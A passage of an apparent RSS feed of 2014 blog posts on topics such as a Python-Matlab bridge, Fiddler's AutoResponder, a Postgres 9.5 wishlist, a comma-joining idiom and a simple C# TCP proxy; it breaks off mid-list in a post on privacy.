&lt;p&gt;As you can see, Matlab matrices are converted to Numpy matrices. In contrast to most other Python/Matlab bridges, matrix types are preserved&lt;sup class="footnote-ref" id="fnref-1"&gt;&lt;a href="#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;randi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'uint8'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt;&lt;span class="mi"&gt;246&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;198&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;209&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;uint8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;All matrix data is actually transferred in binary, so both Matlab and Python work on bit-identical data. This is very important if you are working with precise data! Most other bridges do some amount of type conversion at this point.&lt;/p&gt;
&lt;p&gt;This alone accounts for a large percentage of Matlab code out there. But not every Matlab function can be called this easily from Python: Matlab functions behave differently depending the number of output arguments! To emulate this in Python, every function has a keyword argument &lt;code&gt;nargout&lt;/code&gt; &lt;sup class="footnote-ref" id="fnref-2"&gt;&lt;a href="#fn-2"&gt;2&lt;/a&gt;&lt;/sup&gt;. For example, the Matlab function &lt;code&gt;max&lt;/code&gt; by default returns both the maximum value and the index of that value. If given &lt;code&gt;nargout=1&lt;/code&gt; it will only return the maximum value:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;randn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;1.5326&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# Matlab: x, n = max(...)&lt;/span&gt;
&lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nargout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;1.5326&lt;/span&gt;      &lt;span class="c1"&gt;# Matlab: x = max(...)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If no &lt;code&gt;nargout&lt;/code&gt; is given, functions behave according to &lt;code&gt;nargout(@function)&lt;/code&gt;. If even that fails, they return the content of &lt;code&gt;ans&lt;/code&gt; after their execution.&lt;/p&gt;
&lt;p&gt;Calling Matlab functions is the most important feature of Transplant. But there is a more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can save/retrieve variables in the global workspace:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="c1"&gt;# Matlab: value = 5&lt;/span&gt;
  &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="c1"&gt;# Matlab: x = value&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;You van eval some code:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'class(value)'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ans&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
  &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;double&lt;/span&gt;
  &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;The help text for functions is automatically assigned as docstring. In IPython, this means that &lt;code&gt;matlab.magic?&lt;/code&gt; displays the same thing &lt;code&gt;help magic&lt;/code&gt; would display in Matlab.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Under the hood, Transplant is using a very simple messaging protocol based on &lt;a href="http://zeromq.org/"&gt;0MQ&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/Json"&gt;JSON&lt;/a&gt;, and some &lt;a href="https://en.wikipedia.org/wiki/Base64"&gt;base64&lt;/a&gt;-encoded binary data. Sadly, Matlab can deal with none of these technologies by itself. Transplant therefore contains a full-featured JSON &lt;a href="https://github.com/bastibe/transplant/blob/master/parsejson.m"&gt;parser&lt;/a&gt;/&lt;a href="https://github.com/bastibe/transplant/blob/master/dumpjson.m"&gt;serializer&lt;/a&gt; and base64 &lt;a href="https://github.com/bastibe/transplant/blob/master/base64encode.m"&gt;encoder&lt;/a&gt;/&lt;a href="https://github.com/bastibe/transplant/blob/master/base64decode.m"&gt;decoder&lt;/a&gt; in pure Matlab. It also contains a minimal &lt;a href="https://github.com/bastibe/transplant/blob/master/messenger.c"&gt;mex-file&lt;/a&gt; for interfacing with 0MQ.&lt;/p&gt;
&lt;p&gt;There are a few &lt;a href="http://iso2mesh.sourceforge.net/cgi-bin/index.cgi?jsonlab"&gt;JSON parsers&lt;/a&gt; available for Matlab, but virtually all of them try parse JSON arrays as matrices. This means that these parsers have no way of differentiating between a list of vectors and a matrix (want to call a function with three vectors or a matrix? No can do). Transplant's JSON parser parses JSON arrays as cell arrays and JSON objects as structs. While somewhat less convenient in general, this is a much better fit for transferring data structures between programming languages.&lt;/p&gt;
&lt;p&gt;Similarly, there are a few &lt;a href="http:/home.online.no/~pjacklam/matlab/software/util/datautil/"&gt;base64 encoders&lt;/a&gt; available. Most of them actually use Matlab's built-in Java interface to encode/decode base64 strings. I tried this, but it has two downsides: Firstly, it is pretty slow for short strings since the data has to be copied over to the Java side and then back. Secondly, it is limited by the Java heap space. I was not able to reliably encode/decode more than about 64 Mb using this&lt;sup class="footnote-ref" id="fnref-3"&gt;&lt;a href="#fn-3"&gt;3&lt;/a&gt;&lt;/sup&gt;. My base64 encoder/decoder is written in pure Matlab, and works for arbitrarily large data.&lt;/p&gt;
&lt;p&gt;All of this has been about Matlab, but my actual goal is bigger: I want transplant to become a library for interacting between more than just Python and Matlab. In particular, Julia and PyPy would be very interesting targets. Also, it would be useful to reverse roles and call Python from Matlab as well! But that will be in the future.&lt;/p&gt;
&lt;p&gt;For now, head over to &lt;a href="https://github.com/bastibe/transplant"&gt;Github.com/bastibe/transplant&lt;/a&gt; and have fun! Also, if you find any bugs or have any suggestions, please open an issue on Github!&lt;/p&gt;
&lt;section class="footnotes"&gt;
&lt;ol&gt;
&lt;li id="fn-1"&gt;&lt;p&gt;Except for integer complex numbers, since those are not supported by Numpy.&lt;a class="footnote" href="#fnref-1"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li id="fn-2"&gt;&lt;p&gt;Like the Matlab function &lt;code&gt;nargout&lt;/code&gt;&lt;a class="footnote" href="#fnref-2"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li id="fn-3"&gt;&lt;p&gt;At 192 Mb of Java heap space. And even those 64 Mb were pretty unreliable if I didn't call &lt;code&gt;java.lang.Runtime.getRuntime.gc&lt;/code&gt; all the time.&lt;a class="footnote" href="#fnref-3"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</description><author>bastibe.de</author><pubDate>Tue, 19 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-08-19-transplant.html</guid></item><item><title>Sexy girls</title><link>https://www.databasesandlife.com/sexy-girls/</link><description>&lt;p&gt;One of the main project my company works on is analyzing mobile phone bills for companies – a company gives out mobile phones to all its employees, then they get a huge bill every month, often delivered by post and printed on (perhaps literally) many reams of paper.&lt;/p&gt;
&lt;p&gt;We analyze all such files electronically. That&amp;rsquo;s what we do.&lt;/p&gt;
&lt;p&gt;I was analyzing a new file format the other day, using live data from one customer. One service used by an employee is called &amp;ldquo;sexy girls&amp;rdquo;. Great stuff. I&amp;rsquo;m going to go out on a limb here, and assert that was some non-work-related stuff.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Tue, 19 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/sexy-girls/</guid></item><item><title>Getting to Know Fiddler: Part IV: Simulate responses by engaging Fiddler's AutoResponders</title><link>https://joshuarogers.net/articles/2014-08/getting-know-fiddler-part-iv/</link><description>Last week we figured out how to use Fiddler's breakpoints to let us edit traffic at will. While it is a powerful tool, if we are making the same edits each time, it can become as tedious as it is useful. And with that rather painful segue, we get to the AutoResponder.
Fiddler's AutoResponder is represented by yet another tab hiding away in our detail view. When enabled, it can, among other things, automatically return a response for a given request.</description><author>Joshua Rogers</author><pubDate>Mon, 18 Aug 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-08/getting-know-fiddler-part-iv/</guid></item><item><title>Mercedes-Benz Unimog Doppelkabine</title><link>http://www.blessthisstuff.com/stuff/vehicles/misc/mercedes-benz-unimog-doppelkabine/</link><description>&lt;p&gt;No really, that&amp;#8217;s what it&amp;#8217;s called: shortly after World War II, Erhard and Sons began manufacturing Albert Friedrich&amp;#8217;s vehicle for primarily agricultural use in post-war Germany until Mercedes-Benz took over the production process in the early 1950s. Since then, the Unimog has fostered quite the fanatical fan base, not unlike that of its &lt;a href="http://silodrome.com/unimog-mercedes-benz/"&gt;counterparts&lt;/a&gt; across the world, the American Jeep, British Land Rover, or Japanese Land Cruiser. And looking at it, and &lt;a href="http://youtu.be/INxkz6UcNoE"&gt;seeing just what this family can really do&lt;/a&gt;, it&amp;#8217;s no surprise: this is one remarkably capable vehicle any outdoor enthusiast would be truly fortunate to have in their arsenal.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.blessthisstuff.com/stuff/vehicles/misc/mercedes-benz-unimog-doppelkabine/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 18 Aug 2014 11:09:48 GMT</pubDate><guid isPermaLink="true">http://www.blessthisstuff.com/stuff/vehicles/misc/mercedes-benz-unimog-doppelkabine/</guid></item><item><title>An encoding for newline you've never heard of</title><link>https://www.databasesandlife.com/outlandish-newlines/</link><description>&lt;p&gt;A file recently turned up from an external partner. Our software was having problems parsing it. I opened it up in TextPad (text editor for Windows) and everything looked fine. Obviously I consider our software to be perfect so I was a little perplexed as how this file could be causing problems&amp;hellip;&lt;/p&gt;
&lt;p&gt;It turned out there were newline issues. Opening the file in a hex editor revealed the file used \n\n\r for newlines, i.e. 3 bytes.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Mon, 18 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/outlandish-newlines/</guid></item><item><title>State Ageism and Cryptocurrencies</title><link>https://goshacmd.com/state-ageism-and-cryptocurrencies/</link><author>Gosha Spark</author><pubDate>Mon, 18 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/state-ageism-and-cryptocurrencies/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-72714.html</link><description>&lt;p&gt;I have decided to publish this a day early this week, as &lt;a href="https://zacs.site/blog/leave-of-absence.html"&gt;I leave for Canada&lt;/a&gt; in just a few hours and waiting any longer would make this impossible. Until I return on the sixteenth, then, enjoy this final installment of my ongoing series, This Week in Podcasts. I look forward to coming home and finding a host of shows awaiting my arrival almost as much as I anticipate writing this piece&amp;#8217;s successor.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-72714.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 18 Aug 2014 00:21:34 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-72714.html</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-713.html</link><description>&lt;p&gt;Once again, I&amp;#8217;m back with some stellar cabins from around the world. This time, however, unlike past articles in this series and &lt;a href="https://twitter.com/Gianlovessurf/status/484445366302281728"&gt;upon request by Gianfranco Lanzio&lt;/a&gt;, I have bundled images alongside the appropriate paragraphs in an effort at more easily conveying the beauty of these structures and their accompanying sceneries. I hope you all like the result just as much as I do, and maybe&amp;#160;&amp;#8212;&amp;#160;just maybe&amp;#160;&amp;#8212;&amp;#160;even more.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-713.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 18 Aug 2014 00:21:14 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-713.html</guid></item><item><title>ASCII Bell Character</title><link>https://blog.varunramesh.net/posts/ascii-bell-character/</link><description>The other day, I accidentally printed a ton of binary data to my terminal. Upon doing so, my computer started to beep incessantly.</description><author>Varun Ramesh's Blog</author><pubDate>Sun, 17 Aug 2014 13:05:00 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/ascii-bell-character/</guid></item><item><title>maybeComma</title><link>https://avodonosov.blogspot.com/2012/01/maybecomma.html</link><description>&lt;pre&gt;
I once made a small invention: the simplest way to join values in 
a collection using comma as a separator:

    result = '';
    maybeComma = '';
    for (val : collection) {
      result += maybeComma + val;
      maybeComma = ',';
    }

If collection = [1, 2, 3], then result = '1,2,3'.

I invented this almost 10 year ago, and it was useful many times. There are 
environments, like shell scripts, where there is no Arrays.toString method. 
And even C++, at the times when I programmed on this language, didn't have any
such "join" function in the standard library (that's why I needed to invent it; 
BTW, it's interesting, does C++ have join today... quick googling makes 
impression it doesn't...).

I never saw more simple implementation. All the implementations I saw have 
an IF inside the loop:
  
    result = '';
    for (i = 0; i &lt; collection.length; i++) {
      if (i &gt; 0) {
         result += ',';
      }
      result += collection[i];
    }

Here we also needed to change the "for each" construct to a "for by variable i", 
to determine if we are at the first iteration or not.

The maybeComma solution does not depend on the iteration construct at all.
Therefore it is easier to adopt. For example joining two collections.
In the maybeComma approach we just copy/paste the loop without rethinking
the logic, it always works the same:

    result = '';
    maybeComma = '';
    for (val : collectionA) {
      result += maybeComma + val;
      maybeComma = ',';
    }
    for (val : collectionB) {
      result += maybeComma + val;
      maybeComma = ',';
    }

In the IF approach we again need to change the control constructs by 
introducing a boolean flag:

    result = '';
    oneDone = false;
    for (i = 0; i &lt; collectionA.length; i++) {
      if (oneDone) {
         result += ',';
      }
      result += collectionA[i];
      oneDone = true;
    }
    for (i = 0; i &lt; collectionB.length; i++) {
      if (oneDone) {
         result += ',';
      }
      result += collectionB[i];
      oneDone = true;
    }

As far as I remember this understanding of how to avoid logic by switching to 
different data values came to me from ThinkingForth - the idea of how to use
the maybeComma variable to avoid the IF in the solution was a result of conscious 
attempt to apply what is taught in this book. 
&lt;/pre&gt;</description><author>blog</author><pubDate>Sun, 17 Aug 2014 05:42:59 GMT</pubDate><guid isPermaLink="true">https://avodonosov.blogspot.com/2012/01/maybecomma.html</guid></item><item><title>Why Read?</title><link>https://martinrue.com/why-read/</link><description>It seems like a stupid question – obviously, we read in order to process written material until we understand it.</description><author>Martin Rue</author><pubDate>Sun, 17 Aug 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://martinrue.com/why-read/</guid></item><item><title>Screenshot Saturday 185</title><link>https://etodd.io/2014/08/16/screenshot-saturday-185/</link><description>&lt;p&gt;Hello friends. Yesterday I finished the 5th level! It took much longer than anticipated because it's actually 10 separate maps connected together. It includes some simple but hopefully interesting puzzle mechanics.&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/QuarrelsomePleasedImperialeagle.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;It also advances the story through notes and several text conversations scattered throughout.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/sEziZeu.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/sEziZeul.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It's hard to see in screenshots, but I added a subtle cloud shadow effect as well. It doesn't respond to the actual clouds, so in a sense it's slightly faked. Because of that I was able to do the projection easily with a ray-plane intersection rather than a full matrix multiplication. Here's the shader code, edited for clarity:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 16 Aug 2014 14:58:19 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/08/16/screenshot-saturday-185/</guid></item><item><title>My wishlist for Postgres 9.5</title><link>/2014/08/15/My-wishlist-for-Postgres-9.5/</link><description>&lt;p&gt;As I followed along with the &lt;a href="/2014/03/24/Postgres-9.4-Looking-up/"&gt;9.4 release&lt;/a&gt; of Postgres I had a few posts of things that I was excited about, some things that missed, and a bit of a wrap-up. I thought this year (year in the sense of PG releases) I&amp;rsquo;d jump the gun and lay out areas I&amp;rsquo;d love to see addressed in PostgreSQL 9.5. And here it goes:&lt;/p&gt;
&lt;h3 id="upsert"&gt;
&lt;div&gt;
Upsert
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Merge/Upsert/Insert or Update whatever you want to call it this is still a huge wart that it doesn&amp;rsquo;t exist. There&amp;rsquo;s been a few implementations show up on mailing lists, and to the best of my understanding there&amp;rsquo;s been debate on if it&amp;rsquo;s performant enough or that some people would prefer another implementation or I don&amp;rsquo;t know what other excuse. The short is this really needs to happen, until that time you can always &lt;a href="http://stackoverflow.com/questions/1109061/insert-on-duplicate-update-in-postgresql/8702291#8702291"&gt;implement it with a CTE&lt;/a&gt; which can have a race condition.&lt;/p&gt;
&lt;h3 id="foreign-data-wrappers"&gt;
&lt;div&gt;
Foreign Data Wrappers
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;There&amp;rsquo;s so much opportunity here, and this has easily been my &lt;a href="/2013/08/05/a-look-at-FDWs/"&gt;favorite feature of the past 2-3 years in Postgres&lt;/a&gt;. Really any improvement is good here, but a hit list of a few valuable things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pushdown of conditions&lt;/li&gt;
&lt;li&gt;Ability to accept a DSN to a utility function to create foreign user and tables.&lt;/li&gt;
&lt;li&gt;Better security around creds of foreign tables&lt;/li&gt;
&lt;li&gt;More out of the box FDWs&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="statsanalytics"&gt;
&lt;div&gt;
Stats/Analytics
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Today there&amp;rsquo;s &lt;a href="http://madlib.net/"&gt;madlib&lt;/a&gt; for machine learning, and 9.4 got support for &lt;a href="http://www.depesz.com/2014/01/11/waiting-for-9-4-support-ordered-set-within-group-aggregates/"&gt;ordered set aggregates&lt;/a&gt;, but even still Postgres needs to keep moving forward here. PL-R and PL-Python can help a good bit as well, but having more out of the &lt;a href="http://www.postgresql.org/docs/9.3/static/functions-aggregate.html"&gt;box functions&lt;/a&gt; for stats can continue to keep it at the front of the pack for a database that&amp;rsquo;s not only safe for your data, but powerful to do analysis with.&lt;/p&gt;
&lt;h3 id="multi-master"&gt;
&lt;div&gt;
Multi-master
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;This is definitely more of a dream than not. Full multi-master replication would be amazing, and it&amp;rsquo;s getting closer to possible. The sad truth is even once it lands it will probably require a year of maturing, so even more reason for it to hopefully hit in 9.5&lt;/p&gt;
&lt;h3 id="logical-replication"&gt;
&lt;div&gt;
Logical Replication
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The foundation made it in for 9.4 which is huge. This means we&amp;rsquo;ll probably see a good working out of the box logical replication in 9.5. For those less familiar this means the replication is SQL based vs. the binary WAL stream. This means things like using replication to upgrade across versions is possible. So not quite 0 downtime, but ~ a minute or two to upgrade versions. Even of large DBs.&lt;/p&gt;
&lt;h3 id="an-official-gui"&gt;
&lt;div&gt;
An official GUI
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Alright this one is probably a pipe dream. And to kick it off, no pgAdmin doesn&amp;rsquo;t cut it. A good end user tool for connecting/querying would be huge. Fortunately the ecosystem is improving here with &lt;a href="http://www.jackdb.com"&gt;JackDB&lt;/a&gt; (web based) and &lt;a href="https://eggerapps.at/pgcommander/"&gt;PG Commander&lt;/a&gt; (mac app), but these still aren&amp;rsquo;t discoverable enough for most users.&lt;/p&gt;
&lt;h3 id="what-do-you-want"&gt;
&lt;div&gt;
What do you want?
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;So there&amp;rsquo;s my wishlist, what&amp;rsquo;s yours for 9.5? Let me know - &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt;.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Fri, 15 Aug 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/08/15/My-wishlist-for-Postgres-9.5/</guid></item><item><title>MySQL on Mac for TechEmpower benchmarks</title><link>https://rd.nz/2014/08/mysql-on-mac-for-techempower-benchmarks.html</link><author>Rich Dougherty</author><pubDate>Fri, 15 Aug 2014 05:26:00 GMT</pubDate><guid isPermaLink="true">https://rd.nz/2014/08/mysql-on-mac-for-techempower-benchmarks.html</guid></item><item><title>2014-08-15</title><link>https://ho.dges.online/pictures/2014-08-15/</link><description/><author>ho.dges.online</author><pubDate>Fri, 15 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-08-15/</guid></item><item><title>A simple TCP proxy forwarder in .NET</title><link>https://allanrbo.blogspot.com/2014/08/a-simple-tcp-proxy-forwarder-in-net.html</link><description>Here's a way of doing a super simple TCP proxy in C#.&lt;br /&gt;
&lt;br /&gt;
Warning: this should only be used for testing purposes, as it &lt;i&gt;will&lt;/i&gt; leak threads.

&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="csharp" name="code"&gt;using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

class Program
{
    static void ProxyStream(string stream1name, NetworkStream stream1, string stream2name, NetworkStream stream2)
    {
        var buffer = new byte[65536];

        try
        {
            while (true)
            {
                var len = stream1.Read(buffer, 0, 65536);
                stream2.Write(buffer, 0, len);
            }
        }
        catch (Exception)
        {
            Console.WriteLine("Stream from " + stream1name + " to " + stream2name + " closed");
        }
    }

    static void Main(string[] args)
    {
        if (args.Length != 3)
        {
            Console.WriteLine("Usage: program.exe localport remoteServerHost remoteServerPort");
            Console.WriteLine("Example: program.exe 13389 10.1.2.3 3389");
            return;
        }

        var localPort = int.Parse(args[0]);
        var remoteServerHost = args[1];
        var remoteServerPort = int.Parse(args[2]);

        var l = new TcpListener(IPAddress.Any, localPort);
        l.Start();
        while (true)
        {
            var client1 = l.AcceptTcpClient();
            var remoteAddress = (client1.Client.RemoteEndPoint as IPEndPoint).Address.ToString();
            Console.WriteLine("Accepted session from " + remoteAddress);
            var client2 = new TcpClient(remoteServerHost, remoteServerPort);
            Console.WriteLine("Created connection to " + remoteServerHost + ":" + remoteServerPort);

            new Thread(() =&amp;gt; { ProxyStream(remoteAddress, client1.GetStream(), remoteServerHost, client2.GetStream()); }).Start();
            new Thread(() =&amp;gt; { ProxyStream(remoteServerHost, client2.GetStream(), remoteAddress, client1.GetStream()); }).Start();
        }
    }
}
&lt;/pre&gt;
&lt;br /&gt;
Or, if you need this from PowerShell, I would suggest wrapping it (as threads in PowerShell are painful):

&lt;br /&gt;
&lt;pre&gt;$source = '
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

class Program
{
    static void ProxyStream(string stream1name, NetworkStream stream1, string stream2name, NetworkStream stream2)
    {
        var buffer = new byte[65536];

        try
        {
            while (true)
            {
                var len = stream1.Read(buffer, 0, 65536);
                stream2.Write(buffer, 0, len);
            }
        }
        catch (Exception)
        {
            Console.WriteLine("Stream from " + stream1name + " to " + stream2name + " closed");
        }
    }

    static void Main(string[] args)
    {
        if (args.Length != 3)
        {
            Console.WriteLine("Usage: program.exe localport remoteServerHost remoteServerPort");
            Console.WriteLine("Example: program.exe 13389 10.1.2.3 3389");
            return;
        }

        var localPort = int.Parse(args[0]);
        var remoteServerHost = args[1];
        var remoteServerPort = int.Parse(args[2]);

        var l = new TcpListener(IPAddress.Any, localPort);
        l.Start();
        while (true)
        {
            var client1 = l.AcceptTcpClient();
            var remoteAddress = (client1.Client.RemoteEndPoint as IPEndPoint).Address.ToString();
            Console.WriteLine("Accepted session from " + remoteAddress);
            var client2 = new TcpClient(remoteServerHost, remoteServerPort);
            Console.WriteLine("Created connection to " + remoteServerHost + ":" + remoteServerPort);

            new Thread(() =&amp;gt; { ProxyStream(remoteAddress, client1.GetStream(), remoteServerHost, client2.GetStream()); }).Start();
            new Thread(() =&amp;gt; { ProxyStream(remoteServerHost, client2.GetStream(), remoteAddress, client1.GetStream()); }).Start();
        }
    }
}

'
Add-Type `
    -TypeDefinition $source `
    -Language CSharp `
    -OutputAssembly 'c:\windows\temp\tcpproxy.exe' `
    -OutputType 'ConsoleApplication'
&lt;/pre&gt;</description><author>Allan's Blog</author><pubDate>Thu, 14 Aug 2014 03:34:53 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2014/08/a-simple-tcp-proxy-forwarder-in-net.html</guid></item><item><title>Living a public life as a privacy advocate</title><link>https://captnemo.in/blog/2014/08/14/my-public-life/</link><description>&lt;p&gt;If you’ve known me for a while, you might know me as a privacy conscious individual or perhaps as someone who leads a very public life. The truth is that I lead both these lives; and while that may sound oxymoronic to some, its perfectly clear to me.&lt;/p&gt;

&lt;p&gt;I’m a huge privacy advocate. I still remember the day I woke up and read about PRISM first thing in the morning. My reaction was a mix of disbelief, anger, and frustration. In the aftermath of the PRISM reveal, I made a few choices: I would retain ownership of my data, and I’ll do whatever I can to promote tools that help you do this.&lt;/p&gt;

&lt;p&gt;I’m still working on both fronts, but the reality of the situation is that we are surrounded by walled gardens. I decided to make the best I could of these gardens. I remember reading a weird suggestion: only post public stuff on facebook; and I was somehow convinced to try it out.&lt;/p&gt;

&lt;p&gt;But I took the experiment a step further. If the service is something I can’t control myself (say self-hosted), everything I do with it should be for public-viewing. Since then, I’ve rarely posted anything private on facebook.&lt;/p&gt;

&lt;p&gt;Other services where I follow the same advice include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href="https://goodreads.com/captn3m0" title="My goodreads profile"&gt;Goodreads&lt;/a&gt;&lt;/strong&gt; - Whatever I read is public information, along with real-time updates of my reading habits.&lt;/li&gt;
